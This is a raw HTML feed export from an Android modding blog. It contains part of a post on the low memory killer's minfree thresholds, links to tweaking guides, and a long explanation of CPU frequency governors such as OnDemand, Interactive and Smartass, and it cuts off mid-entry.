<span style="background-color: black; color: red;"><strong style="border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; zoom: 1;">6. Empty Application </strong>- Apps that are essentially in standby and are not doing any work. They can be shut down.</span></div>
<div style="border: 0px; font-family: 'Open Sans', sans-serif; font-size: 15px; line-height: 22.3125px; margin-bottom: 1.625em; outline: 0px; padding: 0px; vertical-align: baseline; zoom: 1;">
<span style="background-color: black; color: cyan;">All of these categories have a <strong style="border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; zoom: 1;">Minfree Threshold memory value. </strong>Whenever the free/Available memory of the system(x) gets less than any of the minfree values, then the LMK starts killing the apps which fall into the category whose minfree threshold value is more than the available memory according to the priorities of the groupings. For example – if <strong style="border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; zoom: 1;"> X </strong> is less than memory 2, then the LMK starts killing apps in category 2 to free memory. Obviously, if the available memory is less than the minfree values of more than 1 category, then LMK kills the apps of the category which has the lowest priority first to free up memory.</span></div>
<div style="border: 0px; font-family: 'Open Sans', sans-serif; font-size: 15px; line-height: 22.3125px; margin-bottom: 1.625em; outline: 0px; padding: 0px; vertical-align: baseline; zoom: 1;">
<span style="background-color: black; color: cyan;">So, this is how Android manages its memory and now I will explain how it affects the multi-tasking abilities of your Android. As you must have already understood that the in-built memory manager ( LMK) kills app of a specific category only if the available memory is less than the category’s minfree values.</span><em style="border: 0px; font-family: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; zoom: 1;"><span style="background-color: black; color: cyan;"><strong style="border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; zoom: 1;"> If the minfree value is more, then the apps under this category will get killed faster which implies poor multi-tasking whereas if the minfree value is small, the app will not be killed for a longer duration of time until the available memory is less than the small minfree value which leads to better multi-tasking. As default, the minfree values are inversely proportional to the priority of the category i.e. Minfree value of Foreground Applications < Visible Applications < Secondary Servers < Hidden Applications < Content Providers < Empty</strong> </span><strong style="border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; zoom: 1;"><span style="background-color: black; color: cyan;">Applications.</span></strong></em></div>
<div class="separator" style="background-color: white; clear: both; color: #555555; text-align: center;">
</div>
</span></div>
<div>
<span style="border: 0px; font-family: Georgia, 'Bitstream Charter', serif; font-size: 18px; line-height: 28.796875px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; zoom: 1;"><span style="background-color: black; font-family: 'Open Sans', sans-serif; font-size: 15px; line-height: 22.3125px;"><span style="color: #555555;"> </span><span style="color: magenta;">MANY GREEEEETZ AND DONT FORGET TO STAY ADDICTED!!!</span></span></span></div>
<div>
<span style="border: 0px; font-family: Georgia, 'Bitstream Charter', serif; font-size: 18px; line-height: 28.796875px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; zoom: 1;"><span style="background-color: black; font-family: 'Open Sans', sans-serif; font-size: 15px; line-height: 22.3125px;"><span style="color: #555555;"> </span><span style="color: magenta;">-CALIBAN666-</span></span></span></div>
<div>
<span style="border: 0px; color: #555555; font-family: Georgia, 'Bitstream Charter', serif; font-size: 18px; line-height: 28.796875px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; zoom: 1;"><span style="font-family: 'Open Sans', sans-serif; font-size: 15px; line-height: 22.3125px;"><br /></span></span></div>
-CALIBAN666-http://www.blogger.com/profile/06001167166419031245noreply@blogger.com0tag:blogger.com,1999:blog-6103587872006414296.post-12789788294410044112013-10-27T03:01:00.001+01:002013-10-27T03:01:14.619+01:00CALIBAN666 IS ADDICTED TO FLASH: Android Permissions info list to understand what i...<a href="http://caliban666isaddicted.blogspot.com/2013/06/android-permissions-info-list-to.html?spref=bl">CALIBAN666 IS ADDICTED TO FLASH: Android Permissions info list to understand what i...</a>: Android Permissions info list: When you install an application the Market will tell you all of the permissions it needs to function. These a...-CALIBAN666-http://www.blogger.com/profile/06001167166419031245noreply@blogger.com0tag:blogger.com,1999:blog-6103587872006414296.post-42933464297162490502013-10-27T03:00:00.001+01:002013-10-27T03:00:07.849+01:00CALIBAN666 IS ADDICTED TO FLASH: Terminal Emulator-Commandlist for Android<a href="http://caliban666isaddicted.blogspot.com/2013/07/terminal-emulator-commandlist-for.html?spref=bl">CALIBAN666 IS ADDICTED TO FLASH: Terminal Emulator-Commandlist for Android</a>: Android Shell Command Reference --------------------------------- The Android Shell A "shell" is a program that listens to keyb...-CALIBAN666-http://www.blogger.com/profile/06001167166419031245noreply@blogger.com0tag:blogger.com,1999:blog-6103587872006414296.post-17726532794745933082013-10-27T02:59:00.001+01:002013-10-27T02:59:51.430+01:00CALIBAN666 IS ADDICTED TO FLASH: A GUIDE ABOUT BUILDPROP+INIT.D(KERNEL)TWEAKS!!!!<a href="http://caliban666isaddicted.blogspot.com/2013/07/a-guide-about-buildpropinitdkerneltweaks.html?spref=bl">CALIBAN666 IS ADDICTED TO FLASH: A GUIDE ABOUT BUILDPROP+INIT.D(KERNEL)TWEAKS!!!!</a>: Build.prop (edit your /system/build.prop with a file manager with root access) Careful for already existing settings. In this case, just ...-CALIBAN666-http://www.blogger.com/profile/06001167166419031245noreply@blogger.com0tag:blogger.com,1999:blog-6103587872006414296.post-55827686205826016922013-10-27T02:58:00.005+01:002013-10-27T02:58:56.218+01:00CALIBAN666 IS ADDICTED TO FLASH: Build.prop Tweaking,a lil Guide<a href="http://caliban666isaddicted.blogspot.com/2013/07/buildprop-tweakinga-lil-guide.html?spref=bl">CALIBAN666 IS ADDICTED TO FLASH: Build.prop Tweaking,a lil Guide</a>: This Guide is for explaining and guiding to tweak the build.prop a lil bit(root needed),only with RootExplorer. ---------------------------...-CALIBAN666-http://www.blogger.com/profile/06001167166419031245noreply@blogger.com0tag:blogger.com,1999:blog-6103587872006414296.post-72875099179342062852013-10-27T02:58:00.003+01:002013-10-27T02:58:33.186+01:00CALIBAN666 IS ADDICTED TO FLASH: Rom Porting,the easy and lazy Way!!!!!<a href="http://caliban666isaddicted.blogspot.com/2013/07/rom-portingthe-easy-and-lazy-way.html?spref=bl">CALIBAN666 IS ADDICTED TO FLASH: Rom Porting,the easy and lazy Way!!!!!</a>: Have tested many times and it have ever worked,but its recomned to read and follow the Guide. ---------------------------------------------...-CALIBAN666-http://www.blogger.com/profile/06001167166419031245noreply@blogger.com0tag:blogger.com,1999:blog-6103587872006414296.post-84819837150756326172013-10-27T02:58:00.001+01:002013-10-27T02:58:06.753+01:00CALIBAN666 IS ADDICTED TO FLASH: (TUTORIAL)FLASH/USE LG-p700 CUSTOM ROMS on LG-e610...<a href="http://caliban666isaddicted.blogspot.com/2013/09/tutorialflashuse-lg-p700-custom-roms-on.html?spref=bl">CALIBAN666 IS ADDICTED TO FLASH: (TUTORIAL)FLASH/USE LG-p700 CUSTOM ROMS on LG-e610...</a>: Here is step by step guide with the steps that im do for have working L7 Roms on my L5-e610 NFC Model,should work for e612 too. -----------...-CALIBAN666-http://www.blogger.com/profile/06001167166419031245noreply@blogger.com0tag:blogger.com,1999:blog-6103587872006414296.post-22406358913759113762013-10-27T02:57:00.001+01:002013-10-27T02:57:51.378+01:00CALIBAN666 IS ADDICTED TO FLASH: Understanding CPU Governors and Scheduler<a href="http://caliban666isaddicted.blogspot.com/2013/10/understanding-cpu-governors-and.html?spref=bl">CALIBAN666 IS ADDICTED TO FLASH: Understanding CPU Governors and Scheduler</a>: What is a Governor? A governor is a driver for the regulation of CPUFreq - CPU frequency. As the name suggests, we, the Governor of the de...-CALIBAN666-http://www.blogger.com/profile/06001167166419031245noreply@blogger.com0tag:blogger.com,1999:blog-6103587872006414296.post-78948831410319810972013-10-27T02:36:00.000+01:002013-10-27T02:36:07.030+01:00Understanding CPU Governors and Scheduler<b style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif;"><span style="background-color: black; color: cyan;">What is a Governor?</span></b><br />
<b style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif;"><span style="background-color: black; color: cyan;"><br /></span></b>
<b style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif;"><span style="background-color: black; color: cyan;"><span style="font-size: 13px; font-weight: normal;">A governor is a driver for the regulation of CPUFreq - CPU frequency. As the name suggests, we, the Governor of the decision, when at full capacity, the MaxFreq - will be achieved or how fast the minFreq - - maximum frequency is reached minimum frequency or center frequency. He decides when, how and how long the CPU and still responds battery saving is still soft and still works.</span><br style="-webkit-box-shadow: none !important; font-size: 13px; font-weight: normal;" /><br style="-webkit-box-shadow: none !important; font-size: 13px; font-weight: normal;" /><span style="font-size: 13px; font-weight: normal;">There are many types of governors. Some are for single-core processors and some designed for dual-core processors. In stock kernel, there are five governors and quasar kernel, there are a lot more.</span></span></b><br />
<b style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif;"><span style="background-color: black; font-size: 13px; font-weight: normal;"><span style="color: cyan;"><br /></span></span></b>
<span style="background-color: black; color: cyan;"><b style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif;"></b></span><br />
<ol class="decimal" style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px; margin: 0px 40px; padding: 0px;">
<li style="-webkit-box-shadow: none !important; list-style: decimal outside; margin: 0px; padding: 0px;"><span style="background-color: black; color: cyan;">OnDemand</span></li>
<li style="-webkit-box-shadow: none !important; list-style: decimal outside; margin: 0px; padding: 0px;"><span style="background-color: black; color: cyan;">OndemandX</span></li>
<li style="-webkit-box-shadow: none !important; list-style: decimal outside; margin: 0px; padding: 0px;"><span style="background-color: black; color: cyan;">Performance</span></li>
<li style="-webkit-box-shadow: none !important; list-style: decimal outside; margin: 0px; padding: 0px;"><span style="background-color: black; color: cyan;">Powersave</span></li>
<li style="-webkit-box-shadow: none !important; list-style: decimal outside; margin: 0px; padding: 0px;"><span style="background-color: black; color: cyan;">Conservative</span></li>
<li style="-webkit-box-shadow: none !important; list-style: decimal outside; margin: 0px; padding: 0px;"><span style="background-color: black; color: cyan;">Userspace</span></li>
<li style="-webkit-box-shadow: none !important; list-style: decimal outside; margin: 0px; padding: 0px;"><span style="background-color: black; color: cyan;">Min Max</span></li>
<li style="-webkit-box-shadow: none !important; list-style: decimal outside; margin: 0px; padding: 0px;"><span style="background-color: black; color: cyan;">Interactive</span></li>
<li style="-webkit-box-shadow: none !important; list-style: decimal outside; margin: 0px; padding: 0px;"><span style="background-color: black; color: cyan;">InteractiveX</span></li>
<li style="-webkit-box-shadow: none !important; list-style: decimal outside; margin: 0px; padding: 0px;"><span style="background-color: black; color: cyan;">Smartass</span></li>
<li style="-webkit-box-shadow: none !important; list-style: decimal outside; margin: 0px; padding: 0px;"><span style="background-color: black; color: cyan;">SmartassV2</span></li>
<li style="-webkit-box-shadow: none !important; list-style: decimal outside; margin: 0px; padding: 0px;"><span style="background-color: black; color: cyan;">Scary</span></li>
<li style="-webkit-box-shadow: none !important; list-style: decimal outside; margin: 0px; padding: 0px;"><span style="background-color: black; color: cyan;">Lagfree</span></li>
<li style="-webkit-box-shadow: none !important; list-style: decimal outside; margin: 0px; padding: 0px;"><span style="background-color: black; color: cyan;">Smoothass</span></li>
<li style="-webkit-box-shadow: none !important; list-style: decimal outside; margin: 0px; padding: 0px;"><span style="background-color: black; color: cyan;">Brazilianwax</span></li>
<li style="-webkit-box-shadow: none !important; list-style: decimal outside; margin: 0px; padding: 0px;"><span style="background-color: black; color: cyan;">SavagedZen</span></li>
<li style="-webkit-box-shadow: none !important; list-style: decimal outside; margin: 0px; padding: 0px;"><span style="background-color: black; color: cyan;">Lazy</span></li>
<li style="-webkit-box-shadow: none !important; list-style: decimal outside; margin: 0px; padding: 0px;"><span style="background-color: black; color: cyan;">Lionheart</span></li>
<li style="-webkit-box-shadow: none !important; list-style: decimal outside; margin: 0px; padding: 0px;"><span style="background-color: black; color: cyan;">LionheartX</span></li>
<li style="-webkit-box-shadow: none !important; list-style: decimal outside; margin: 0px; padding: 0px;"><span style="background-color: black; color: cyan;">Intellidemand</span></li>
<li style="-webkit-box-shadow: none !important; list-style: decimal outside; margin: 0px; padding: 0px;"><span style="background-color: black; color: cyan;">Hotplug</span></li>
<li style="-webkit-box-shadow: none !important; list-style: decimal outside; margin: 0px; padding: 0px;"><span style="background-color: black; color: cyan;">Wheatley</span></li>
<li style="-webkit-box-shadow: none !important; list-style: decimal outside; margin: 0px; padding: 0px;"><span style="background-color: black; color: cyan;">Lulzactive</span></li>
<li style="-webkit-box-shadow: none !important; list-style: decimal outside; margin: 0px; padding: 0px;"><span style="background-color: black; color: cyan;">AbyssPlug</span></li>
<li style="-webkit-box-shadow: none !important; list-style: decimal outside; margin: 0px; padding: 0px;"><span style="background-color: black; color: cyan;">BadAss</span></li>
<li style="-webkit-box-shadow: none !important; list-style: decimal outside; margin: 0px; padding: 0px;"><span style="background-color: black; color: cyan;">Ktoonservative</span></li>
<li style="-webkit-box-shadow: none !important; list-style: decimal outside; margin: 0px; padding: 0px;"><span style="background-color: black; color: cyan;">AssWax</span></li>
<li style="-webkit-box-shadow: none !important; list-style: decimal outside; margin: 0px; padding: 0px;"><span style="background-color: black; color: cyan;">Sleepy</span></li>
<li style="-webkit-box-shadow: none !important; list-style: decimal outside; margin: 0px; padding: 0px;"><span style="background-color: black; color: cyan;">Hyper</span></li>
<li style="-webkit-box-shadow: none !important; list-style: decimal outside; margin: 0px; padding: 0px;"><span style="background-color: black; color: cyan;">Zen</span></li>
</ol>
<div>
<span style="background-color: black; color: cyan; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: x-small;"><br /></span></div>
<div>
<span style="background-color: black; color: cyan; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: x-small;"><br /></span></div>
<div>
<span style="background-color: black; color: cyan;"><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">1: </span><b style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">OnDemand Governor</b><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">This governor has a hair trigger for boosting clockspeed to the maximum speed set by the user. If the CPU load placed by the user abates, the OnDemand governor will slowly step back down through the kernel's frequency steppings until it settles at the lowest possible frequency, or the user executes another task to demand a ramp.</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">OnDemand has excellent interface fluidity because of its high-frequency bias, but it can also have a relatively negative effect on battery life versus other governors. OnDemand is commonly chosen by smartphone manufacturers because it is well-tested, reliable, and virtually guarantees the smoothest possible performance for the phone. This is so because users are vastly more likely to bitch about performance than they are the few hours of extra battery life another governor could have granted them.</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">This final fact is important to know before you read about the Interactive governor: OnDemand scales its clockspeed in a work queue context. In other words, once the task that triggered the clockspeed ramp is finished, OnDemand will attempt to move the clockspeed back to minimum. If the user executes another task that triggers OnDemand's ramp, the clockspeed will bounce from minimum to maximum. This can happen especially frequently if the user is multi-tasking. This, too, has negative implications for battery life.</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">2: </span><b style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">OndemandX</b><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">Basically an ondemand with suspend/wake profiles. This governor is supposed to be a battery friendly ondemand. When screen is off, max frequency is capped at 500 mhz. Even though ondemand is the default governor in many kernel and is considered safe/stable, the support for ondemand/ondemandX depends on CPU capability to do fast frequency switching which are very low latency frequency transitions. I have read somewhere that the performance of ondemand/ondemandx were significantly varying for different i/o schedulers. This is not true for most of the other governors. I personally feel ondemand/ondemandx goes best with SIO I/O scheduler.</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">3: </span><b style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">Performance Governor</b><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">This locks the phone's CPU at maximum frequency. While this may sound like an ugly idea, there is growing evidence to suggest that running a phone at its maximum frequency at all times will allow a faster race-to-idle. Race-to-idle is the process by which a phone completes a given task, such as syncing email, and returns the CPU to the extremely efficient low-power state. This still requires extensive testing, and a kernel that properly implements a given CPU's C-states (low power states).</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">4: </span><b style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">Powersave Governor</b><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">The opposite of the Performance governor, the Powersave governor locks the CPU frequency at the lowest frequency set by the user.</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">5: </span><b style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">Conservative Governor</b><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">This biases the phone to prefer the lowest possible clockspeed as often as possible. In other words, a larger and more persistent load must be placed on the CPU before the conservative governor will be prompted to raise the CPU clockspeed. Depending on how the developer has implemented this governor, and the minimum clockspeed chosen by the user, the conservative governor can introduce choppy performance. On the other hand, it can be good for battery life.</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">The Conservative Governor is also frequently described as a "slow OnDemand," if that helps to give you a more complete picture of its functionality.</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">6: </span><b style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">Userspace Governor</b><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">This governor, exceptionally rare for the world of mobile devices, allows any program executed by the user to set the CPU's operating frequency. This governor is more common amongst servers or desktop PCs where an application (like a power profile app) needs privileges to set the CPU clockspeed.</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">7: </span><b style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">Min Max</b><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">well this governor makes use of only min & maximum frequency based on workload... no intermediate frequencies are used.</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">8: </span><b style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">Interactive Governor</b><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">Much like the OnDemand governor, the Interactive governor dynamically scales CPU clockspeed in response to the workload placed on the CPU by the user. This is where the similarities end. Interactive is significantly more responsive than OnDemand, because it's faster at scaling to maximum frequency.</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">Unlike OnDemand, which you'll recall scales clockspeed in the context of a work queue, Interactive scales the clockspeed over the course of a timer set arbitrarily by the kernel developer. In other words, if an application demands a ramp to maximum clockspeed (by placing 100% load on the CPU), a user can execute another task before the governor starts reducing CPU frequency. This can eliminate the frequency bouncing discussed in the OnDemand section. Because of this timer, Interactive is also better prepared to utilize intermediate clockspeeds that fall between the minimum and maximum CPU frequencies. This is another pro-battery life benefit of Interactive.</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">However, because Interactive is permitted to spend more time at maximum frequency than OnDemand (for device performance reasons), the battery-saving benefits discussed above are effectively negated. Long story short, Interactive offers better performance than OnDemand (some say the best performance of any governor) and negligibly different battery life.</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">Interactive also makes the assumption that a user turning the screen on will shortly be followed by the user interacting with some application on their device. Because of this, screen on triggers a ramp to maximum clockspeed, followed by the timer behavior described above.</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">9: </span><b style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">InteractiveX Governor</b><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">Created by kernel developer "Imoseyon," the InteractiveX governor is based heavily on the Interactive governor, enhanced with tuned timer parameters to better balance battery vs. performance. The InteractiveX governor's defining feature, however, is that it locks the CPU frequency to the user's lowest defined speed when the screen is off.</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">10: </span><b style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">Smartass</b><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">Is based on the concept of the interactive governor.</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">I have always agreed that in theory the way interactive works – by taking over the idle loop – is very attractive. I have never managed to tweak it so it would behave decently in real life. Smartass is a complete rewrite of the code plus more. I think its a success. Performance is on par with the “old” minmax and I think smartass is a bit more responsive. Battery life is hard to quantify precisely but it does spend much more time at the lower frequencies.</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">Smartass will also cap the max frequency when sleeping to 352Mhz (or if your min frequency is higher than 352 – why?! – it will cap it to your min frequency). Lets take for example the 528/176 kernel, it will sleep at 352/176. No need for sleep profiles any more!"</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">11: </span><b style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">SmartassV2</b><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">Version 2 of the original smartass governor from Erasmux. Another favorite for many a people. The governor aim for an "ideal frequency", and ramp up more aggressively towards this freq and less aggressive after. It 